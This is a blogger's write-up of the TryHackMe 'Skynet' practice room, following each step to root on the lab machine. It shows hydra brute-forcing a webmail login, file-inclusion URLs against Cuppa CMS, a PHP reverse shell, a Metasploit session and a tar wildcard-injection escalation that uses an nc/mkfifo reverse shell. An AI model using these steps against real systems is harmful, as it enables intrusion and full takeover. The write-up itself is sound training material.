THM - Skynet
Write-up for the Skynet room on TryHackMe
Today's write up is not the success story I was hoping it would be. Despite the room showing as being "easy" on TryHackMe, I didn't complete it without referring to the official write-up a couple of times.
It's possible that it's ranked "easy" because it comes with an official write-up which is displayed within Task #1's text.
Still, I thought I'd document it as I feel that, despite referring to the write-up, I have learned some valuable skills and lessons from having completed it and I wanted to get that down here. It's all part of the journey, after all. My hope is that next time I'm faced with a similar challenge I won't need to refer to the write up. Part of my plan for writing these blog posts is to try to cement in my own mind the learnings I take away from these challenges.
Other than the link to and description of the official walkthrough, the opening text gives very little away as to what needs to be done here. It simply states "Are you able to compromise this Terminator themed machine?".
Question #1
The questions give you some guidance on what you're looking for:
So, we have a rough idea of what username we're looking for and the fact there is some kind of e-mail service running on here.
Given the lack of any other information, I started, like usual, with a quick nmap:
nmap -T4 -sC -sV -oN skynet.nmap 10.10.192.132
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 20:46 BST
Nmap scan report for 10.10.192.132
Host is up (0.040s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
| 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE CAPA SASL PIPELINING TOP RESP-CODES UIDL
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: SASL-IR LOGIN-REFERRALS ENABLE IMAP4rev1 LOGINDISABLEDA0001 post-login OK LITERAL+ have Pre-login listed capabilities more ID IDLE
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m11s, median: 0s
|_nbstat: NetBIOS name: SKYNET, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: skynet
| NetBIOS computer name: SKYNET\x00
| Domain name: \x00
| FQDN: skynet
|_ System time: 2020-05-29T14:46:40-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-05-29T19:46:41
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.80 secondsSo, we have e-mail services (POP3 and IMAP4 running on ports 110 and 143, respectively), a web server (Apache on port 80), ssh (port 22) and Samba (ports 139 and 445). No SMTP port, so the server's not geared to accept external mail.
First port of call would be to fire up the old browser and see what's showing on the web server:
Looks like it's a search engine. The layout/style feels familiar, but I can't quite place where...
After probably less than a minute poking around at this, I came to the conclusion it wasn't particularly useful. I moved on to another tool which I'd usually run after encountering a web server, GoBuster:
gobuster dir -u http://10.10.192.132 -w /tryhackme/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.192.132
[+] Threads: 10
[+] Wordlist: /tryhackme/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/05/29 21:11:16 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/admin (Status: 301)
/ai (Status: 301)
/config (Status: 301)
/css (Status: 301)
/js (Status: 301)
/server-status (Status: 403)
/squirrelmail (Status: 301)
===============================================================
2020/05/29 21:12:17 Finished
===============================================================Looks like we've found something which might be of use, a squrrelmail install. Navigating to this shows us a standard SquirrelMail login:
So we now have an endpoint for our credentials, should we be able to find the required credentials. I tried running sqlmap against it, despite having had a quick look around the web for known exploits and not seeing any SQLi listed. Unsurprisingly, this didn't turn anything up.
At this point I tried turning to some other ports to try. I considered running hydra against the SSH port but decided against it as a) I wasn't 100% sure on what username was likely to be used (the "Miles" in the question was capitalised and so I didn't want to trust that it should be just "miles" for the username), and b) hydra against SSH takes a really long time.
I thought the Samba ports may be useful and these tend to be pretty quick to enumerate, so I fired off a quick smbclient command:
smbclient -N -L \\\\10.10.192.132
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
anonymous Disk Skynet Anonymous Share
milesdyson Disk Miles Dyson Personal Share
IPC$ IPC IPC Service (skynet server (Samba, Ubuntu))
SMB1 disabled -- no workgroup availableLooks like I may have been right not to trust what the username was going to be. Next step was to try to open the shares:
smbclient \\\\10.10.192.132\\milesdyson
Enter WORKGROUP\root's password:
tree connect failed: NT_STATUS_ACCESS_DENIEDsmbclient \\\\10.10.192.132\\anonymous
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \>Within the root of the anonymous share, we can see a file called attention.txt and within a subfolder called logs there are three log files, of which only one contained any data. There was also a books folder, but that appeared to only contain PDF and epub files. I thought it best to take a look at the text files first.
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dysoncyborg007ha<REDACTED>
terminator2<REDACTED>
terminator2<REDACTED>
terminator2<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator1<REDACTED>
terminator0<REDACTED>
terminator0<REDACTED>
robotermina<REDACTED>
pongtermina<REDACTED>
manasturcal<REDACTED>
exterminato<REDACTED>
exterminato<REDACTED>
dterminator<REDACTED>
djxterminat<REDACTED>
dexterminat<REDACTED>
determinato<REDACTED>
cyborg007ha<REDACTED>
avsterminat<REDACTED>
alonsotermi<REDACTED>
Walterminat<REDACTED>
79terminato<REDACTED>
1996termina<REDACTED>log1.txt looked like it could be a fairly handy password list.
Given that I still didn't know what the username was likely to be, I thought it best to try both miles and milesdyson, so I through these into a text file I called users:
miles
milesdysonI then fired up hydra to try to brute force the SquirrelMail login page:
hydra -L users -P log1.txt "http-post-form://10.10.192.132/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-29 21:29:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 62 login tries (l:2/p:31), ~4 tries per task
[DATA] attacking http-post-form://10.10.192.132:80/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown
[80][http-post-form] host: 10.10.192.132 login: milesdyson password: cyborg007ha<REDACTED>
1 of 1 target successfully completed, 1 valid password found
Success! We now have the username and password to get into the mailbox, with the password being the answer to question #1.
Question #2
Given that GoBuster failed to find a hidden directory which met the mask given in the answer, I'm assuming that we probably need to go looking in Miles' mail for the next part. Even if it had turned up another directory, I'd probably still have snooped around Miles' mail anyway through natural curiosity.
So, three e-mails in the mailbox. The last one contains some gibberish:
i can i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i i can i i i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i . . . . . . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i i i i i everything else . . . . . . . . . . . . . .
balls have 0 to me to me to me to me to me to me to me to me to
you i i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me toThe second one contained some binary:
01100010 01100001 01101100 01101100 01110011 00100000 01101000 01100001 01110110
01100101 00100000 01111010 01100101 01110010 01101111 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111I ran this through CyberChef and obtained the following insightful text:
balls have zero to me to me to me to me to me to me to me to me toWith the first e-mail, however, we find something which may help:
We have changed your smb password after system malfunction.
Password: )s{A&2Z<REDACTED>Back to smbclient we go then:
smbclient \\\\10.10.192.132\\milesdyson -U milesdyson
Enter WORKGROUP\milesdyson's password:
Try "help" to get a list of possible commands.
smb: \>In Miles' share there were some more PDFs and a folder called notes. Within the notes folder there were a load of markdown files, and a txt file called important.txt. This looked important, so I grabbed a copy of it and had a quick look at it:
cat important.txt
1. Add features to beta CMS /45kra24<REDACTED>
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wifeI had no time to worry about the state of Miles' relationship as I had just found the answer to question #2.
Question #3
Question #3 was actually the first question I answered as it was pretty simple and I like getting points quickly:
Question #4
I had a look at the content of the hidden directory:
There didn't seem to be a great deal which could be done here and an examination of the page source didn't reveal much.
This was around this point where my troubles started. My initial approach took me down a rabbit hole of trying to exploit SquirrelMail. The research I'd done had suggested that a version of SquirrelMail close to the version number we were running here (SquirrelMail version 1.4.23 [SVN]) had an RCE (Remote Code Execution) attack vector possible. Unfortunately, the research showed conflicting information regarding exactly which version was vulnerable:
SquirrelMail < 1.4.22 - Remote Code ExecutionSquirrelMail <= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692)I grabbed the script anyway, and tried to run it (after sense checking it to make sure it didn't look like it was going to try to take over my machine).
Initially the script didn't work as expected as one of the pages it scraped wasn't in quite the same format as it was expecting (looking back, I should have taken the hint that this maybe wasn't the exploit I was looking for).
I modified the script and got it to run, but it never actually got me in.
Not to be put off once I've decided to try it, I then tried to emulate the script's steps by hand to see if I could get it to work. I couldn't.
As I'm not one to give up on a good idea once I think I've had one, I then went and scoured the internet (by which I mean I did a couple of minutes of Googling) and found a python script which was meant to exploit CVE-2017-7692. This would have been an excellent plan if only this install of SquirrelMail had been vulnerable to this CVE.
Again, I should have taken a proper look at the header in the python file:
SquirrelMail 1.4.22 Remote Code Execution (authenticated)After dissecting and fighting with this script, I came to the conclusion that perhaps this system wasn't susceptible to this vulnerability and maybe I should have tried something else. Like an hour ago or something.
Still, it wasn't a complete waste as the time I spent looking at the two POCs for the exploit taught me a thing or two about how to script access to websites.
It was around this point where I realised I was struggling and went to the write-up. I'm disappointed that I did, as the answer I found was pretty obvious and was something I should have tried:
gobuster dir -u http://10.10.192.132/45kra24<REDACTED> -w ../big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.192.132/45kra24<REDACTED>
[+] Threads: 10
[+] Wordlist: ../big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/05/29 21:58:47 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/administrator (Status: 301)
===============================================================
2020/05/29 21:59:55 Finished
===============================================================Oh, there's a subdirectory here called administrator. Looks much more promising than my attempt to compromise SquirrelMail.
We've found something we can log into! I tried all the passwords I had found up to this point with both combinations of miles and milesdyson. Nada!
I inspected the source code to the HTML and found that there was a password recovery function, but the code to activate it was commented out:
I tried putting in the e-mail address for Miles which we had a login for, but this went nowhere.
My next idea was to look for Cuppa on exploit-db:
Well, doesn't that just sound exactly like the thing Question #3 was asking about?
I threw together a quick URL using this information:
http://localhost:8080/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
So, we've found a local file inclusion exploit. Question #3 mentioned a remote file exploit though. Can we do that?
We know we're on PHP so we'll just write a very basic PHP script:
<?php echo "Hello"; ?>We'll also fire up our trusty python3 http server:
python3 -m http.server
Craft a nice URL:
http://localhost:8080/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.0.232:8000/hello
So, we're now including remote files. Shall we try something a little more useful?
Let's go grab a nice PHP reverse shell from pentestmonkey, modify it to point to the right host/port, start a listener and call the appropriate URL:
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.192.132 33934
Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
16:16:53 up 1:31, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ It's just simply a case now of getting the user.txt:
$ cat /home/milesdyson/user.txt
7ce5c2109a40f958099283<REDACTED>7Although this is in Miles' home folder and we're not Miles (we're www-data) we can access this due to the permissions on it. The same is not true of /root/root.txt
We could also do this using LFI:
http://localhost:8080/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../home/milesdyson/user.txt
Question #5
Now that we have the ability to launch a shell, I thought I'd fire up msfconsole and generate a meterpreter connection:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload payload/php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set lhost 10.9.0.232
lhost => 10.9.0.232
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.9.0.232:4444
[*] Command shell session 1 opened (10.9.0.232:4444 -> 10.10.192.132:33942) at 2020-05-29 22:23:38 +0100
$From here we can upgrade to a meterpreter shell:
msf5 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf5 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf5 post(multi/manage/shell_to_meterpreter) > run
[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.9.0.232:4433
[*] Sending stage (980808 bytes) to 10.10.192.132
[*] Meterpreter session 2 opened (10.9.0.232:4433 -> 10.10.192.132:57836) at 2020-05-29 22:25:01 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf5 post(multi/manage/shell_to_meterpreter) >
[*] Stopping exploit/multi/handler
sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell php/php Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC ... 10.9.0.232:4444 -> 10.10.192.132:33942 (10.10.192.132)
2 meterpreter x86/linux no-user @ skynet (uid=33, gid=33, euid=33, egid=33) @ 10.10.192.132 10.9.0.232:4433 -> 10.10.192.132:57836 (10.10.192.132)From here I ran metasploit's local_exploit_suggester:
msf5 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf5 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.192.132 - Collecting local exploits for x86/linux...
[*] 10.10.192.132 - 35 exploit checks are being tried...
[+] 10.10.192.132 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 10.10.192.132 - exploit/linux/local/glibc_realpath_priv_esc: The target appears to be vulnerable.
[+] 10.10.192.132 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[*] Post module execution completedThis turned out to be useless as none of the suggestions worked.
I dropped back into a shell and ran LinEnum.sh (I won't reproduce the output here as it's far too long).
The only thing which stuck out was a cron job which runs a script within Miles' home folder:
*/1 * * * * root /home/milesdyson/backups/backup.shAlthough the cron job was running a user controlled script it, unfortunately, wasn't controlled by the user we have access to.
We could view the script, but not modify it:
cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *After a while messing around, I went back to the write-up as I could not work out what I was meant to do from here.
It turns out that the clue was the * in the script which, by the time execution reached this point, was running in a directory we did have control over.
The only piece of information I was lacking now was how to exploit this.
It turns out that tar can take some command line parameters which cause it to execute a command at certain points during the process. As the process was running as root at this point, all we needed to do was have a reverse TCP shell script and create the files needed so that bash globbing would cause the names of the files to be used as parameters for tar:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.232 1234 >/tmp/f" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"As the script executes every minute, once you've done this and set up a listener, you'll very quickly get a root shell:
nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.192.132 51100
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
3f0372db24753accc71<REDACTED>And there we have the 5th and final answer. Room completed!
Lessons Learned
There are a few things I'll take away from having completed this room:
- Pay more attention to the info available in the room text/questions. I went down a rabbit hole looking for an exploit where there was none. Still, I learned something from that.
- If I find a directory with GoBuster, I should re-run GoBuster against that directory as well.
- Bare
*glob expansions in shell scripts are a Bad ThingTM. Prior to this room I had no idea that this was even possible, so I would never have finished the room without having read the write-up. Next time I'll know better.
Summary
Again, another really nice, interesting room on TryHackMe. Some new skills were learned which I hopefully won't forget too quickly.
Looking forward to my next room and the lessons it'll teach me.
Thanks for reading :)